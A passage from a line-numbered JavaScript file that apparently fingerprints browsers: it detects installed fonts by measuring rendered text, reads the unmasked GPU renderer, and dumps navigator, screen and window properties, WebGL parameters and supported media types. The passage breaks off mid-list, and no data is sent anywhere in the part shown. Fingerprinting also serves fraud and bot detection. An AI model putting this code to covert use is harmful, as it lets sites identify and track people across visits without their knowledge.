'Seravek Italic', 'Seravek Light', 'Seravek Light Italic', 'Seravek Medium', 'Seravek Medium Italic', 'Shado', 'Sharjah', 'Shofar', 'Shonar Bangla Bold', 'Shree Devanagari 714', 'Shree Devanagari 714 Bold', 'Shree Devanagari 714 Bold Italic', 'Shree Devanagari 714 Italic', 'Shruti Bold', 'SignPainter-HouseScript', 'SignPainter-HouseScript Semibold', 'Simple CLM', 'Simplified Arabic Bold', 'Sindbad', 'Sinhala MN', 'Sinhala MN Bold', 'Sinhala Sangam MN Bold', 'Sitka Banner Bold', 'Sitka Banner Bold Italic', 'Sitka Banner Italic', 'Sitka Display Bold', 'Sitka Display Bold Italic', 'Sitka Display Italic', 'Sitka Heading Bold', 'Sitka Heading Bold Italic', 'Sitka Heading Italic', 'Sitka Small Bold', 'Sitka Small Bold Italic', 'Sitka Small Italic', 'Sitka Subheading Bold', 'Sitka Subheading Bold Italic', 'Sitka Subheading Italic', 'Sitka Text Bold', 'Sitka Text Bold Italic', 'Sitka Text Italic', 'Skia Black', 'Skia Black Condensed', 'Skia Black Extended', 'Skia Bold', 'Skia Condensed', 'Skia Extended', 'Skia Light', 'Skia Light Condensed', 'Skia Light Extended', 'Skia Regular', 'Snell Roundhand Black', 'Snell Roundhand Bold', 'Songti SC Black', 'Songti SC Bold', 'Songti SC Light', 'Songti SC Regular', 'Songti TC Bold', 'Songti TC Light', 'Songti TC Regular', 'Source Code Pro Black', 'Source Code Pro ExtraLight', 'Source Code Pro Light', 'Source Code Pro Medium', 'Source Code Pro Semibold', 'Stam Ashkenaz CLM', 'Stam Sefarad CLM', 'Standard Symbols L', 'Standard Symbols PS', 'Sukhumvit Set Bold', 'Sukhumvit Set Light', 'Sukhumvit Set Medium', 'Sukhumvit Set Semi Bold', 'Sukhumvit Set Text', 'Sukhumvit Set Thin', 'Superclarendon Black', 'Superclarendon Black Italic', 'Superclarendon Bold', 'Superclarendon Bold Italic', 'Superclarendon Italic', 'Superclarendon Light', 'Superclarendon Light Italic', 'Superclarendon Regular', 'Symbola', 'System Font Bold', 'System Font Regular', 'Tahoma Bold', 'Tahoma Negreta', 'Tamil MN Bold', 'Tamil Sangam MN Bold', 'Tarablus', 'Telugu MN Bold', 'Telugu Sangam MN Bold', 'Tholoth', 'Thonburi Bold', 'Thonburi Light', 'Times Bold', 'Times Bold Italic', 'Times Italic', 'Times New Roman Bold', 'Times New Roman Bold Italic', 'Times New Roman Italic', 'Times Roman', 'Titr', 'Toppan Bunkyu Gothic Demibold', 'Toppan Bunkyu Gothic Regular', 'Toppan Bunkyu Midashi Gothic Extrabold', 'Toppan Bunkyu Midashi Mincho Extrabold', 'Toppan Bunkyu Mincho Regular', 'Traditional Arabic Bold', 'Trebuchet MS Bold', 'Trebuchet MS Bold Italic', 'Trebuchet MS Italic', 'Tsukushi A Round Gothic Bold', 'Tsukushi A Round Gothic Regular', 'Tsukushi B Round Gothic Bold', 'Tsukushi B Round Gothic Regular', 'Tunga Bold', 'Twemoji Mozilla', 'UD Digi Kyokasho', 'UD Digi Kyokasho N-B', 'UD Digi Kyokasho N-R', 'UD Digi Kyokasho NK-B', 'UD Digi Kyokasho NK-R', 'UD Digi Kyokasho NP-B', 'UD Digi Kyokasho NP-R', 'UKIJ 3D', 'UKIJ Basma', 'UKIJ Bom', 'UKIJ CJK', 'UKIJ Chechek', 'UKIJ Chiwer Kesme', 'UKIJ Diwani', 'UKIJ Diwani Kawak', 'UKIJ Diwani Tom', 'UKIJ Diwani Yantu', 'UKIJ Ekran', 'UKIJ Elipbe', 'UKIJ Elipbe_Chekitlik', 'UKIJ Esliye', 'UKIJ Esliye Chiwer', 'UKIJ Esliye Neqish', 'UKIJ Esliye Qara', 'UKIJ Esliye Tom', 'UKIJ Imaret', 'UKIJ Inchike', 'UKIJ Jelliy', 'UKIJ Junun', 'UKIJ Kawak', 'UKIJ Kawak 3D', 'UKIJ Kesme', 'UKIJ Kesme Tuz', 'UKIJ Kufi', 'UKIJ Kufi 3D', 'UKIJ Kufi Chiwer', 'UKIJ Kufi Gul', 'UKIJ Kufi Kawak', 'UKIJ Kufi Tar', 'UKIJ Kufi Uz', 'UKIJ Kufi Yay', 'UKIJ Kufi Yolluq', 'UKIJ Mejnun', 'UKIJ Mejnuntal', 'UKIJ Merdane', 'UKIJ Moy Qelem', 'UKIJ Nasq', 'UKIJ Nasq Zilwa', 'UKIJ Orqun Basma', 'UKIJ Orqun Yazma', 'UKIJ Orxun-Yensey', 'UKIJ Qara', 'UKIJ Qolyazma', 'UKIJ Qolyazma Tez', 'UKIJ Qolyazma Tuz', 'UKIJ Qolyazma Yantu', 'UKIJ Ruqi', 'UKIJ Saet', 'UKIJ Sulus', 'UKIJ Sulus Tom', 'UKIJ Teng', 'UKIJ Tiken', 'UKIJ Title', 'UKIJ Tor', 'UKIJ Tughra', 'UKIJ Tuz', 'UKIJ Tuz Basma', 'UKIJ Tuz Gezit', 'UKIJ Tuz Kitab', 'UKIJ Tuz Neqish', 'UKIJ Tuz Qara', 'UKIJ Tuz Tom', 'UKIJ Tuz Tor', 'UKIJ Zilwa', 'UKIJ_Mac Basma', 'UKIJ_Mac Ekran', 'URW Bookman', 'URW Bookman L', 'URW Chancery L', 'URW Gothic', 'URW Gothic L', 'URW Palladio L', 'Ubuntu Light', 'Ubuntu Thin', 'Urdu Typesetting Bold', 'Utsaah Bold', 'Utsaah Bold Italic', 'Utsaah Italic', 'Vani Bold', 'Verdana Bold', 'Verdana Bold Italic', 'Verdana Italic', 'Verdana Pro', 'Verdana Pro Black', 'Verdana Pro Black Italic', 'Verdana Pro Bold', 'Verdana Pro Bold Italic', 'Verdana Pro Cond', 'Verdana Pro Cond Black', 'Verdana Pro Cond Black Italic', 'Verdana Pro Cond Bold', 'Verdana Pro Cond Bold Italic', 'Verdana Pro Cond Italic', 'Verdana Pro Cond Light', 'Verdana Pro Cond Light Italic', 'Verdana Pro Cond SemiBold', 'Verdana Pro Cond SemiBold Italic', 'Verdana Pro Italic', 'Verdana Pro Light', 'Verdana Pro Light Italic', 'Verdana Pro SemiBold', 'Verdana Pro SemiBold Italic', 'Vijaya Bold', 'Vrinda Bold', 'Waseem Light', 'Waseem Regular', 'Wawati SC Regular', 'Wawati TC Regular', 'Weibei SC Bold', 'Weibei TC Bold', 'Xingkai SC Bold', 'Xingkai SC Light', 'Xingkai TC Bold', 'Xingkai TC Light', 'Yehuda CLM', 'Yrsa Light', 'Yrsa Medium', 'Yrsa SemiBold', 'Yu Gothic Bold', 'Yu Gothic Light', 'Yu Gothic Medium', 'Yu Gothic Regular', 'Yu Gothic UI', 'Yu Gothic UI Bold', 'Yu Gothic UI Light', 'Yu Gothic UI Regular', 'Yu Gothic UI Semibold', 'Yu Gothic UI Semilight', 'Yu Mincho', 'Yu Mincho Demibold', 'Yu Mincho Light', 'Yu Mincho Regular', 'YuGothic Bold', 'YuGothic Medium', 'YuKyokasho Bold', 'YuKyokasho Medium', 'YuKyokasho Yoko Bold', 'YuKyokasho Yoko Medium', 'YuMincho +36p Kana Demibold', 'YuMincho +36p Kana Extrabold', 'YuMincho +36p Kana Medium', 'YuMincho Demibold', 'YuMincho Extrabold', 'YuMincho Medium', 'Yuanti SC Bold', 'Yuanti SC Light', 'Yuanti SC Regular', 'Yuanti TC Bold', 'Yuanti TC Light', 'Yuanti TC Regular', 'Yuppy SC Regular', 'Yuppy TC Regular', 'Z003', 'aakar', 'padmaa-Bold.1.1', 'padmmaa', 'utkal', 'מרים', 'गार्गी', 'नालिमाटी', 'অনি Dvf', 'মিত্র', 'মুক্তি', 'মুক্তি পাতনা', '宋体', '微软雅黑', `新細明`, `굴림`, `굴림체`, `바탕`, `MS ゴシック`, `MS 明朝`, `MS Pゴシック`, `MS P明朝`];
  2361.  
  2362.             const baseFonts = ['sans-serif', 'serif', 'monospace'];
  2363.             const baseWidth = {};
  2364.             const baseHeight = {};
  2365.  
  2366.             for (let font of baseFonts) {
  2367.                 const span = document.createElement('span');
  2368.                 span[removed] = 'mmmmmmmmmmlli';
  2369.                 span.style.fontSize = '72px';
  2370.                 span.style.fontFamily = font;
  2371.  
  2372.                 // noinspection JSCheckFunctionSignatures
  2373.                 document.body.appendChild(span);
  2374.                 baseWidth[font] = span.offsetWidth;
  2375.                 baseHeight[font] = span.offsetHeight;
  2376.  
  2377.                 result.push({
  2378.                     name: font,
  2379.                     exists: 2,
  2380.                 });
  2381.  
  2382.                 // noinspection JSCheckFunctionSignatures
  2383.                 document.body.removeChild(span);
  2384.             }
  2385.  
  2386.             await smoothForeach(extraFonts, 15, (font) => {
  2387.                 let exists = 0;
  2388.                 for (const baseFont of baseFonts) {
  2389.                     const span = document.createElement('span');
  2390.                     span[removed] = 'mmmmmmmmmmlli';
  2391.                     span.style.fontSize = '72px';
  2392.                     span.style.fontFamily = font + ',' + baseFont;
  2393.                     // noinspection JSCheckFunctionSignatures
  2394.                     document.body.appendChild(span);
  2395.  
  2396.                     const sizeNotTheSame =
  2397.                           span.offsetWidth !== baseWidth[baseFont]
  2398.                     || span.offsetHeight !== baseHeight[baseFont];
  2399.  
  2400.                     exists = sizeNotTheSame ? 1 : 0;
  2401.  
  2402.                     // noinspection JSCheckFunctionSignatures
  2403.                     document.body.removeChild(span);
  2404.  
  2405.                     if (sizeNotTheSame) {
  2406.                         break;
  2407.                     }
  2408.                 }
  2409.  
  2410.                 if (exists) {
  2411.                     result.push({
  2412.                         name: font,
  2413.                         exists: exists,
  2414.                     });
  2415.                 }
  2416.             });
  2417.  
  2418.             return result;
  2419.         };
  2420.  
  2421.         // gpu
  2422.         const dumpGpu = async () => {
  2423.             const result = {};
  2424.             try {
  2425.                 const webgl = document.createElement('canvas').getContext('webgl');
  2426.                 const renderer = webgl.getExtension('WEBGL_debug_renderer_info');
  2427.  
  2428.                 result.vendor = webgl.getParameter(renderer.UNMASKED_VENDOR_WEBGL);
  2429.                 result.renderer = webgl.getParameter(renderer.UNMASKED_RENDERER_WEBGL);
  2430.             } catch (_) {
  2431.             }
  2432.  
  2433.             return result;
  2434.         };
  2435.  
  2436.         // props
  2437.         const dumpObjProps = async (obj, keys) => {
  2438.             const result = {};
  2439.  
  2440.             if (obj) {
  2441.                 for (let n in keys) {
  2442.                     const key = keys[n];
  2443.                     const val = obj[key];
  2444.  
  2445.                     try {
  2446.                         if (
  2447.                             ('function' == typeof val || 'object' == typeof val)
  2448.                             && !(val === null)
  2449.                             && !(val instanceof Array)
  2450.                         ) {
  2451.                             result[key] = '_$obj!_//+_';
  2452.                         } else {
  2453.                             if ('undefined' == typeof val) {
  2454.                                 result[key] = '_$obj!_undefined_//+_';
  2455.                             } else {
  2456.                                 result[key] = val;
  2457.                             }
  2458.                         }
  2459.                     } catch (_) {
  2460.                     }
  2461.                 }
  2462.             }
  2463.  
  2464.             return result;
  2465.         };
  2466.  
  2467.         const dumpNavigatorProps = async () => {
  2468.             return dumpObjProps(navigator, [
  2469.                 'languages', 'userAgent', 'appCodeName', 'appMinorVersion', 'appName', 'appVersion', 'buildID',
  2470.                 'platform', 'product', 'productSub', 'hardwareConcurrency', 'cpuClass', 'maxTouchPoints', 'oscpu',
  2471.                 'vendor', 'vendorSub', 'deviceMemory', 'doNotTrack', 'msDoNotTrack', 'vibrate', 'credentials',
  2472.                 'storage', 'requestMediaKeySystemAccess', 'bluetooth', 'language', 'systemLanguage', 'userLanguage',
  2473.             ]);
  2474.         };
  2475.  
  2476.         const dumpWindowProps = async () => {
  2477.             return dumpObjProps(window, [
  2478.                 'innerWidth', 'innerHeight',
  2479.                 'outerWidth', 'outerHeight',
  2480.                 'screenX', 'screenY',
  2481.                 'pageXOffset', 'pageYOffset',
  2482.                 'Image', 'isSecureContext', 'devicePixelRatio', 'toolbar', 'locationbar', 'ActiveXObject', 'external',
  2483.                 'mozRTCPeerConnection', 'postMessage', 'webkitRequestAnimationFrame', 'BluetoothUUID', 'netscape',
  2484.                 'localStorage', 'sessionStorage', 'indexDB', 'BarcodeDetector',
  2485.             ]);
  2486.         };
  2487.  
  2488.         const dumpScreenProps = async () => {
  2489.             return dumpObjProps(screen, [
  2490.                 'availWidth', 'availHeight',
  2491.                 'availLeft', 'availTop',
  2492.                 'width', 'height',
  2493.                 'colorDepth', 'pixelDepth',
  2494.             ]);
  2495.         };
  2496.  
  2497.         const dumpDocumentProps = async () => {
  2498.             return dumpObjProps(document, ['characterSet', 'compatMode', 'documentMode', 'layers', 'images']);
  2499.         };
  2500.  
  2501.         const dumpBodyProps = async () => {
  2502.             return dumpObjProps(document.body, ['clientWidth', 'clientHeight']);
  2503.         };
  2504.  
  2505.         // webgl
  2506.         const dumpWebGLCore = async (webglContextId, experimentalWebglContextId) => {
  2507.             function getWebGLContext() {
  2508.                 const canvas = document.createElement('canvas');
  2509.                 let result = null;
  2510.                 try {
  2511.                     result = canvas.getContext(webglContextId) || canvas.getContext(experimentalWebglContextId);
  2512.                 } catch (ex) {
  2513.                 }
  2514.  
  2515.                 result || (result = null);
  2516.                 return result;
  2517.             }
  2518.  
  2519.             const webglContext = getWebGLContext();
  2520.  
  2521.             function getMaxAnisotropy(ctx) {
  2522.                 if (ctx) {
  2523.                     const ext =
  2524.                           ctx.getExtension('EXT_texture_filter_anisotropic')
  2525.                     || ctx.getExtension('WEBKIT_EXT_texture_filter_anisotropic')
  2526.                     || ctx.getExtension('MOZ_EXT_texture_filter_anisotropic');
  2527.  
  2528.                     if (ext) {
  2529.                         return ctx.getParameter(ext.MAX_TEXTURE_MAX_ANISOTROPY_EXT);
  2530.                     }
  2531.                 }
  2532.  
  2533.                 return null;
  2534.             }
  2535.  
  2536.             if (!webglContext) {
  2537.                 return {};
  2538.             }
  2539.  
  2540.             // https://www.khronos.org/registry/webgl/specs/1.0/
  2541.             const glEnums = [2849, 2849, 2884, 2884, 2885, 2885, 2886, 2886, 2928, 2928, 2929, 2929, 2930, 2930, 2931, 2931, 2932, 2932, 2960, 2960, 2961, 2961, 2962, 2962, 2963, 2963, 2964, 2964, 2965, 2965, 2966, 2966, 2967, 2967, 2968, 2968, 2978, 2978, 3024, 3024, 3042, 3042, 3088, 3088, 3089, 3089, 3106, 3106, 3107, 3107, 3317, 3317, 3333, 3333, 3379, 3386, 3408, 3408, 3410, 3411, 3412, 3413, 3414, 3415, 3415, 3415, 7936, 7937, 7938, 10752, 10752, 32773, 32773, 32777, 32777, 32823, 32823, 32824, 32824, 32873, 32873, 32883, 32883, 32936, 32936, 32937, 32937, 32938, 32938, 32939, 32939, 32968, 32968, 32969, 32969, 32970, 32970, 32971, 32971, 33170, 33170, 33901, 33902, 34016, 34016, 34024, 34045, 34045, 34047, 34068, 34068, 34076, 34467, 34467, 34816, 34816, 34817, 34817, 34818, 34818, 34819, 34819, 34852, 34852, 34877, 34877, 34921, 34930, 34964, 34964, 34965, 34965, 35071, 35071, 35076, 35076, 35077, 35077, 35371, 35371, 35373, 35373, 35374, 35374, 35375, 35375, 35376, 35376, 35377, 35377, 35379, 35379, 35380, 35380, 35657, 35657, 35658, 35658, 35659, 35659, 35660, 35661, 35724, 35725, 35725, 35968, 35968, 35978, 35978, 35979, 35979, 36003, 36003, 36004, 36004, 36005, 36005, 36006, 36006, 36007, 36007, 36063, 36063, 36183, 36183, 36347, 36348, 36349, 37154, 37154, 37157, 37157, 37440, 37440, 37441, 37441, 37443, 37443];
  2542.             const result = {
  2543.                 'supportedExtensions': webglContext.getSupportedExtensions() || [],
  2544.                 'contextAttributes': webglContext.getContextAttributes(),
  2545.                 'maxAnisotropy': getMaxAnisotropy(webglContext),
  2546.                 'params': {},
  2547.             };
  2548.  
  2549.             for (const glEnum of glEnums) {
  2550.                 try {
  2551.                     const parmValue = webglContext.getParameter(glEnum);
  2552.                     result.params[glEnum] = {
  2553.                         'type': parmValue ? parmValue.constructor.name : '',
  2554.                         'value': parmValue,
  2555.                     };
  2556.                 } catch (ignored) {
  2557.                     debugger;
  2558.                 }
  2559.             }
  2560.  
  2561.             //
  2562.             const args = [
  2563.                 [webglContext.VERTEX_SHADER, webglContext.HIGH_FLOAT],
  2564.                 [webglContext.VERTEX_SHADER, webglContext.MEDIUM_FLOAT],
  2565.                 [webglContext.VERTEX_SHADER, webglContext.LOW_FLOAT],
  2566.                 [webglContext.VERTEX_SHADER, webglContext.HIGH_INT],
  2567.                 [webglContext.VERTEX_SHADER, webglContext.MEDIUM_INT],
  2568.                 [webglContext.VERTEX_SHADER, webglContext.LOW_INT],
  2569.  
  2570.                 [webglContext.FRAGMENT_SHADER, webglContext.HIGH_FLOAT],
  2571.                 [webglContext.FRAGMENT_SHADER, webglContext.MEDIUM_FLOAT],
  2572.                 [webglContext.FRAGMENT_SHADER, webglContext.LOW_FLOAT],
  2573.                 [webglContext.FRAGMENT_SHADER, webglContext.HIGH_INT],
  2574.                 [webglContext.FRAGMENT_SHADER, webglContext.MEDIUM_INT],
  2575.                 [webglContext.FRAGMENT_SHADER, webglContext.LOW_INT],
  2576.             ];
  2577.  
  2578.             result.shaderPrecisionFormats = [];
  2579.             for (let arg of args) {
  2580.                 let [shaderType, precisionType] = arg;
  2581.                 let r = webglContext.getShaderPrecisionFormat(shaderType, precisionType);
  2582.  
  2583.                 result.shaderPrecisionFormats.push({
  2584.                     shaderType,
  2585.                     precisionType,
  2586.                     r: {
  2587.                         rangeMin: r.rangeMin,
  2588.                         rangeMax: r.rangeMax,
  2589.                         precision: r.precision,
  2590.                     },
  2591.                 });
  2592.             }
  2593.  
  2594.             return result;
  2595.         };
  2596.  
  2597.         const dumpWebGL = async () => {
  2598.             return await dumpWebGLCore('webgl', 'experimental-webgl');
  2599.         };
  2600.  
  2601.         const dumpWebGL2 = async () => {
  2602.             return await dumpWebGLCore('webgl2', 'experimental-webgl2');
  2603.         };
  2604.  
  2605.         // mimeTypes
  2606.         const dumpMimeTypes = async () => {
  2607.             const mimeTypes = ['application/mp21', 'application/mp4', 'application/octet-stream', 'application/ogg', 'application/vnd.apple.mpegurl', 'application/vnd.ms-ss', 'application/vnd.ms-sstr+xml', 'application/x-mpegURL; codecs="avc1.42E01E"', 'application/x-mpegurl', 'audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/aac; codecs="flac"', 'audio/ac-3', 'audio/ac3', 'audio/acc', 'audio/aiff', 'audio/amr; codecs="hvc1x"', 'audio/basic', 'audio/ec-3', 'audio/flac', 'audio/m4a', 'audio/mid', 'audio/midi', 'audio/mp3', 'audio/mp3; codecs="vp9"', 'audio/mp4', 'audio/mp4; codecs="A52"', 'audio/mp4; codecs="Opus"', 'audio/mp4; codecs="a3ds"', 'audio/mp4; codecs="aac"', 'audio/mp4; codecs="ac-3"', 'audio/mp4; codecs="ac-4"', 'audio/mp4; codecs="ac3"', 'audio/mp4; codecs="alac"', 'audio/mp4; codecs="alaw"', 'audio/mp4; codecs="bogus"', 'audio/mp4; codecs="dra1"', 'audio/mp4; codecs="dts+"', 'audio/mp4; codecs="dts-"', 'audio/mp4; codecs="dtsc"', 'audio/mp4; codecs="dtse"', 'audio/mp4; codecs="dtsh"', 'audio/mp4; codecs="dtsl"', 'audio/mp4; codecs="dtsx"', 'audio/mp4; codecs="ec-3"', 'audio/mp4; codecs="enca"', 'audio/mp4; codecs="flac"', 'audio/mp4; codecs="g719"', 'audio/mp4; codecs="g726"', 'audio/mp4; codecs="m4ae"', 'audio/mp4; codecs="mha1"', 'audio/mp4; codecs="mha2"', 'audio/mp4; codecs="mhm1"', 'audio/mp4; codecs="mhm2"', 'audio/mp4; codecs="mlpa"', 'audio/mp4; codecs="mp3"', 'audio/mp4; codecs="mp4a"', 'audio/mp4; codecs="mp4a.40"', 'audio/mp4; codecs="mp4a.40.1"', 'audio/mp4; codecs="mp4a.40.12"', 'audio/mp4; codecs="mp4a.40.13"', 'audio/mp4; codecs="mp4a.40.14"', 'audio/mp4; codecs="mp4a.40.15"', 'audio/mp4; codecs="mp4a.40.16"', 'audio/mp4; codecs="mp4a.40.17"', 'audio/mp4; codecs="mp4a.40.19"', 'audio/mp4; codecs="mp4a.40.2"', 'audio/mp4; codecs="mp4a.40.20"', 'audio/mp4; codecs="mp4a.40.21"', 'audio/mp4; codecs="mp4a.40.22"', 'audio/mp4; codecs="mp4a.40.23"', 'audio/mp4; codecs="mp4a.40.24"', 'audio/mp4; codecs="mp4a.40.25"', 'audio/mp4; codecs="mp4a.40.26"', 'audio/mp4; codecs="mp4a.40.27"', 'audio/mp4; codecs="mp4a.40.28"', 'audio/mp4; codecs="mp4a.40.29"', 'audio/mp4; codecs="mp4a.40.3"', 'audio/mp4; codecs="mp4a.40.32"', 'audio/mp4; codecs="mp4a.40.33"', 'audio/mp4; codecs="mp4a.40.34"', 'audio/mp4; codecs="mp4a.40.35"', 'audio/mp4; codecs="mp4a.40.36"', 'audio/mp4; codecs="mp4a.40.4"', 'audio/mp4; codecs="mp4a.40.5"', 'audio/mp4; codecs="mp4a.40.6"', 'audio/mp4; codecs="mp4a.40.7"', 'audio/mp4; codecs="mp4a.40.8"', 'audio/mp4; codecs="mp4a.40.9"', 'audio/mp4; codecs="mp4a.66"', 'audio/mp4; codecs="mp4a.67"', 'audio/mp4; codecs="mp4a.68"', 'audio/mp4; codecs="mp4a.69"', 'audio/mp4; codecs="mp4a.6B"', 'audio/mp4; codecs="raw "', 'audio/mp4; codecs="samr"', 'audio/mp4; codecs="sawb"', 'audio/mp4; codecs="sawp"', 'audio/mp4; codecs="sevc"', 'audio/mp4; codecs="sqcp"', 'audio/mp4; codecs="ssmv"', 'audio/mp4; codecs="twos"', 'audio/mp4; codecs="ulaw"', 'audio/mpeg', 'audio/mpeg; codecs="mp3"', 'audio/mpegurl', 'audio/ogg; codecs="flac"', 'audio/ogg; codecs="opus"', 'audio/ogg; codecs="speex"', 'audio/ogg; codecs="theora, opus"', 'audio/ogg; codecs="vorbis"', 'audio/vnd.rn-realaudio', 'audio/vnd.wave', 'audio/wav', 'audio/wav; codecs="0"', 'audio/wav; codecs="1"', 'audio/wav; codecs="2"', 'audio/wave', 'audio/wave; codecs="0"', 'audio/wave; codecs="1"', 'audio/wave; codecs="2"', 'audio/wave; codecs=0', 'audio/wave; codecs=1', 'audio/wave; codecs=2', 'audio/webm', 'audio/webm; codecs="opus"', 'audio/webm; codecs="vorbis"', 'audio/webm; codecs="vp8"', 'audio/wma', 'audio/x-aac', 'audio/x-ac3', 'audio/x-aiff', 'audio/x-flac', 'audio/x-m4a', 'audio/x-m4a; codecs="mp3"', 'audio/x-m4a; codecs="vp8, mp4a.40"', 'audio/x-m4a; codecs="vp9, mp4a.40.2"', 'audio/x-midi', 'audio/x-mpeg', 'audio/x-mpegurl', 'audio/x-pn-realaudio', 'audio/x-pn-realaudio-plugin', 'audio/x-pn-wav', 'audio/x-pn-wav; codecs="0"', 'audio/x-pn-wav; codecs="1"', 'audio/x-pn-wav; codecs="2"', 'audio/x-scpls', 'audio/x-wav', 'audio/x-wav; codecs="0"', 'audio/x-wav; codecs="1"', 'audio/x-wav; codecs="2"', 'video/3gpp', 'video/3gpp2', 'video/3gpp; codecs="mp4v.20.8, samr"', 'video/avi', 'video/h263', 'video/mp2t', 'video/mp2t; codecs="avc1.42E01E,mp4a.40.2"', 'video/mp4', 'video/mp4; codecs="3gvo"', 'video/mp4; codecs="STGS"', 'video/mp4; codecs="a3d1"', 'video/mp4; codecs="a3d2"', 'video/mp4; codecs="a3d3"', 'video/mp4; codecs="a3d4"', 'video/mp4; codecs="av01.0.08M.08"', 'video/mp4; codecs="avc1"', 'video/mp4; codecs="avc1.123456"', 'video/mp4; codecs="avc1.2c000a"', 'video/mp4; codecs="avc1.2c000b"', 'video/mp4; codecs="avc1.2c000c"', 'video/mp4; codecs="avc1.2c000d"', 'video/mp4; codecs="avc1.2c0014"', 'video/mp4; codecs="avc1.2c0015"', 'video/mp4; codecs="avc1.2c0016"', 'video/mp4; codecs="avc1.2c001e"', 'video/mp4; codecs="avc1.2c001f"', 'video/mp4; codecs="avc1.2c0020"', 'video/mp4; codecs="avc1.2c0028"', 'video/mp4; codecs="avc1.2c0029"', 'video/mp4; codecs="avc1.2c002a"', 'video/mp4; codecs="avc1.2c0032"', 'video/mp4; codecs="avc1.2c0033"', 'video/mp4; codecs="avc1.2c0034"', 'video/mp4; codecs="avc1.2c003c"', 'video/mp4; codecs="avc1.2c003d"', 'video/mp4; codecs="avc1.2c003e"', 'video/mp4; codecs="avc1.2c003f"', 'video/mp4; codecs="avc1.2c0040"', 'video/mp4; codecs="avc1.2c0050"', 'video/mp4; codecs="avc1.2c006e"', 'video/mp4; codecs="avc1.2c0085"', 'video/mp4; codecs="avc1.42000a"', 'video/mp4; codecs="avc1.42000b"', 'video/mp4; codecs="avc1.42000c"', 'video/mp4; codecs="avc1.42000d"', 'video/mp4; codecs="avc1.420014"', 'video/mp4; codecs="avc1.420015"', 'video/mp4; codecs="avc1.420016"', 'video/mp4; codecs="avc1.42001e"', 'video/mp4; codecs="avc1.42001f"', 'video/mp4; codecs="avc1.420020"', 'video/mp4; codecs="avc1.420028"', 'video/mp4; codecs="avc1.420029"', 'video/mp4; codecs="avc1.42002a"', 'video/mp4; codecs="avc1.420032"', 'video/mp4; codecs="avc1.420033"', 'video/mp4; codecs="avc1.420034"', 'video/mp4; codecs="avc1.42003c"', 'video/mp4; codecs="avc1.42003d"', 'video/mp4; codecs="avc1.42003e"', 'video/mp4; codecs="avc1.42003f"', 'video/mp4; codecs="avc1.420040"', 'video/mp4; codecs="avc1.420050"', 'video/mp4; codecs="avc1.42006e"', 'video/mp4; codecs="avc1.420085"', 'video/mp4; codecs="avc1.42400a"', 'video/mp4; codecs="avc1.42400b"', 'video/mp4; codecs="avc1.42400c"', 'video/mp4; codecs="avc1.42400d"', 'video/mp4; codecs="avc1.424014"', 'video/mp4; codecs="avc1.424015"', 'video/mp4; codecs="avc1.424016"', 'video/mp4; codecs="avc1.42401e"', 'video/mp4; codecs="avc1.42401f"', 'video/mp4; codecs="avc1.424020"', 'video/mp4; codecs="avc1.424028"', 'video/mp4; codecs="avc1.424029"', 'video/mp4; codecs="avc1.42402a"', 'video/mp4; codecs="avc1.424032"', 'video/mp4; codecs="avc1.424033"', 'video/mp4; codecs="avc1.424034"', 'video/mp4; codecs="avc1.42403c"', 'video/mp4; codecs="avc1.42403d"', 'video/mp4; codecs="avc1.42403e"', 'video/mp4; codecs="avc1.42403f"', 'video/mp4; codecs="avc1.424040"', 'video/mp4; codecs="avc1.424050"', 'video/mp4; codecs="avc1.42406e"', 'video/mp4; codecs="avc1.424085"', 'video/mp4; codecs="avc1.42E009"', 'video/mp4; codecs="avc1.42E01E"', 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"', 'video/mp4; codecs="avc1.42E034"', 'video/mp4; codecs="avc1.42F01E"', 'video/mp4; codecs="avc1.42c00d"', 'video/mp4; codecs="avc1.4D001E"', 'video/mp4; codecs="avc1.4d000a"', 'video/mp4; codecs="avc1.4d000b"', 'video/mp4; codecs="avc1.4d000c"', 'video/mp4; codecs="avc1.4d000d"', 'video/mp4; codecs="avc1.4d0014"', 'video/mp4; codecs="avc1.4d0015"', 'video/mp4; codecs="avc1.4d0016"', 'video/mp4; codecs="avc1.4d001e"', 'video/mp4; codecs="avc1.4d001f"', 'video/mp4; codecs="avc1.4d0020"', 'video/mp4; codecs="avc1.4d0028"', 'video/mp4; codecs="avc1.4d0029"', 'video/mp4; codecs="avc1.4d002a"', 'video/mp4; codecs="avc1.4d0032"', 'video/mp4; codecs="avc1.4d0033"', 'video/mp4; codecs="avc1.4d0034"', 'video/mp4; codecs="avc1.4d003c"', 'video/mp4; codecs="avc1.4d003d"', 'video/mp4; codecs="avc1.4d003e"', 'video/mp4; codecs="avc1.4d003f"', 'video/mp4; codecs="avc1.4d0040"', 'video/mp4; codecs="avc1.4d0050"', 'video/mp4; codecs="avc1.4d006e"', 'video/mp4; codecs="avc1.4d0085"', 'video/mp4; codecs="avc1.4d400a"', 'video/mp4; codecs="avc1.4d400b"', 'video/mp4; codecs="avc1.4d400c"', 'video/mp4; codecs="avc1.4d400d"', 'video/mp4; codecs="avc1.4d4014"', 'video/mp4; codecs="avc1.4d4015"', 'video/mp4; codecs="avc1.4d4016"', 'video/mp4; codecs="avc1.4d401e"', 'video/mp4; codecs="avc1.4d401f"', 'video/mp4; codecs="avc1.4d4020"', 'video/mp4; codecs="avc1.4d4028"', 'video/mp4; codecs="avc1.4d4029"', 'video/mp4; codecs="avc1.4d402a"', 'video/mp4; codecs="avc1.4d4032"', 'video/mp4; codecs="avc1.4d4033"', 'video/mp4; codecs="avc1.4d4034"', 'video/mp4; codecs="avc1.4d403c"', 'video/mp4; codecs="avc1.4d403d"', 'video/mp4; codecs="avc1.4d403e"', 'video/mp4; codecs="avc1.4d403f"', 'video/mp4; codecs="avc1.4d4040"', 'video/mp4; codecs="avc1.4d4050"', 'video/mp4; codecs="avc1.4d406e"', 'video/mp4; codecs="avc1.4d4085"', 'video/mp4; codecs="avc1.53000a"', 'video/mp4; codecs="avc1.53000b"', 'video/mp4; codecs="avc1.53000c"', 'video/mp4; codecs="avc1.53000d"', 'video/mp4; codecs="avc1.530014"', 'video/mp4; codecs="avc1.530015"', 'video/mp4; codecs="avc1.530016"', 'video/mp4; codecs="avc1.53001e"', 'video/mp4; codecs="avc1.53001f"', 'video/mp4; codecs="avc1.530020"', 'video/mp4; codecs="avc1.530028"', 'video/mp4; codecs="avc1.530029"', 'video/mp4; codecs="avc1.53002a"', 'video/mp4; codecs="avc1.530032"', 'video/mp4; codecs="avc1.530033"', 'video/mp4; codecs="avc1.530034"', 'video/mp4; codecs="avc1.53003c"', 'video/mp4; codecs="avc1.53003d"', 'video/mp4; 